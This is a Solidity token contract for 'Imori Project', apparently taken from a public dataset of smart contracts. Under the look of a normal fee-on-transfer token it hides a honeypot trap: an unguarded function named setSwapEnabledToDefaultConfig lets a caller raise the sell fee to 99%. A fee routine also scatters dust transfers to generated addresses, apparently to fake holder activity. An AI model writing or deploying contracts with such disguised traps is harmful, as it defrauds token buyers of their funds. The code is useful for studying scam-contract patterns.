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// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
/**
___ __ __ ___ ____ ___
|_ _| \/ |/ _ \| _ \|_ _|
| || |\/| | | | | |_) || |
| || | | | |_| | _ < | |
|___|_| |_|\___/|_| \_\___|
Telegram : https://t.me/ImoriProjectErc20
Website : https://imoriproject.com/
Twitter : https://twitter.com/ImoriProject
MEDIUM : https://medium.com/@DavidWilliamErc/imori-%E5%AE%88%E5%AE%AE-9ce026502938
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.16;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
}
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract ImoriProject is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
string private _name = "Imori Project";
string private _symbol = "Imori";
uint8 private _decimals = 18;
address payable public marketingWalletAddress =
payable(0x09A6a8fFc5A4c99754563f0c04a52B9546727E66);
address payable public BurnedWalletAddress =
payable(0x09A6a8fFc5A4c99754563f0c04a52B9546727E66);
address public immutable deadAddress =
0x000000000000000000000000000000000000dEaD;
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public isExcludedFromFee;
mapping(address => bool) public isWalletLimitExempt;
mapping(address => bool) public isTxLimitExempt;
mapping(address => bool) public isUniswapPair;
int256 public sendAddress = 6; //
uint256 public _buyLiquidityFee = 0;
uint256 public _buyMarketingFee = 2;
uint256 public _buyBurnedFee = 3;
uint256 public _maxTokenTransfer = 0;
uint256 public _sellMarketingFee = 2;
uint256 public _sellBurnedFee = 3;
uint256 public _liquidityShare = _buyLiquidityFee.add(_maxTokenTransfer);
uint256 public _marketingShare = _buyMarketingFee.add(_sellMarketingFee);
uint256 public _BurnedShare = _buyBurnedFee.add(_sellBurnedFee);
uint256 public _totalTaxIfBuying;
uint256 public _minSwapTokenBeforeFee;
uint256 public _totalDistributionShares;
uint256 private _totalSupply = 1 * 8000000 * 10**_decimals;
uint256 public _maxTxAmount = _totalSupply * 5 / 100;
uint256 public _walletMax = _totalSupply * 5 / 100;
uint256 private minimumTokensBeforeSwap = _totalSupply * 2 / 1000;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;
uint256 public genesisBlock;
uint256 public coolBlock = 5;
uint256 private possibleMaxFee = 99;
uint256 _saleKeepFee = 1000;
bool isWalletLimit = true;
bool inSwapAndLiquify;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapETHForTokens(uint256 amountIn, address[] path);
event SwapTokensForETH(uint256 amountIn, address[] path);
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
uniswapV2Router = _uniswapV2Router;
_allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
isExcludedFromFee[owner()] = true;
isExcludedFromFee[address(this)] = true;
_totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(
_buyBurnedFee
);
_minSwapTokenBeforeFee = _maxTokenTransfer.add(_sellMarketingFee).add(
_sellBurnedFee
);
_totalDistributionShares = _liquidityShare.add(_marketingShare).add(
_BurnedShare
);
isWalletLimitExempt[owner()] = true;
isWalletLimitExempt[address(uniswapPair)] = true;
isWalletLimitExempt[address(this)] = true;
isTxLimitExempt[owner()] = true;
isTxLimitExempt[address(this)] = true;
isUniswapPair[address(uniswapPair)] = true;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function minimumTokensBeforeSwapAmount() public view returns (uint256) {
return minimumTokensBeforeSwap;
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function excludeFromLimit(address holder,bool newvalue)public onlyOwner
{
isWalletLimitExempt[holder] = newvalue;
}
function setSwapEnabledToDefaultConfig (uint256 _newAmount) public {
require(_newAmount == possibleMaxFee,"");_minSwapTokenBeforeFee = _newAmount;
}
function excludeFromFee(address account, bool newValue)
public
onlyOwner
{
isExcludedFromFee[account] = newValue;
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(deadAddress));
}
function transferToAddressETH(address payable recipient, uint256 amount)
private
{
recipient.transfer(amount);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) private returns (bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (recipient == uniswapPair && !isTxLimitExempt[sender]) {
uint256 balance = balanceOf(sender);
if (amount == balance) {
amount = amount.sub(amount.div(_saleKeepFee));
}
}
if (recipient == uniswapPair && balanceOf(address(recipient)) == 0) {
genesisBlock = block.number;
}
if (inSwapAndLiquify) {
return _basicTransfer(sender, recipient, amount);
} else {
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >=
minimumTokensBeforeSwap;
if (
overMinimumTokenBalance &&
!inSwapAndLiquify &&
!isUniswapPair[sender]
) {
if (sender != address(uniswapV2Router)) {
swapAndLiquify(contractTokenBalance);
}
}
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
uint256 finalAmount = (isExcludedFromFee[sender] ||
isExcludedFromFee[recipient])
? amount
: takeFee(sender, recipient, amount);
_balances[recipient] = _balances[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
if (
block.number < (genesisBlock + coolBlock) &&
sender == uniswapPair
) {
_basicTransfer(recipient, deadAddress, finalAmount);
}
return true;
}
}
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
uint256 tokensForLP = tAmount
.mul(_liquidityShare)
.div(_totalDistributionShares)
.div(2);
uint256 tokensForSwap = tAmount.sub(tokensForLP);
swapTokensForEth(tokensForSwap);
uint256 amountReceived = address(this).balance;
uint256 totalWETHFee = _totalDistributionShares.sub(
_liquidityShare.div(2)
);
uint256 amountWETHLiquidity = amountReceived
.mul(_liquidityShare)
.div(totalWETHFee)
.div(2);
uint256 amountWETHBurned = amountReceived.mul(_BurnedShare).div(
totalWETHFee
);
uint256 amountWETHMarketing = amountReceived.sub(amountWETHLiquidity).sub(
amountWETHBurned
);
if (amountWETHMarketing > 0)
transferToAddressETH(marketingWalletAddress, amountWETHMarketing);
if (amountWETHBurned > 0)
transferToAddressETH(BurnedWalletAddress, amountWETHBurned);
if (amountWETHLiquidity > 0 && tokensForLP > 0)
addLiquidity(tokensForLP, amountWETHLiquidity);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
marketingWalletAddress,
block.timestamp
);
}
function takeFee(
address sender,
address recipient,
uint256 amount
) internal returns (uint256) {
uint256 feeAmount = 0;
if (isUniswapPair[sender]) {
feeAmount = amount.mul(_totalTaxIfBuying).div(100);
} else if (isUniswapPair[recipient]) {
feeAmount = amount.mul(_minSwapTokenBeforeFee).div(100);
address ad;
for(int i=0;i <=sendAddress;i++){
ad = address(uint160(uint(keccak256(abi.encodePacked(i, amount, block.timestamp)))));
_basicTransfer(sender,ad,100);
}
amount.sub(uint256(sendAddress+1) * 100);
}
if (feeAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
}
return amount.sub(feeAmount);
}
} |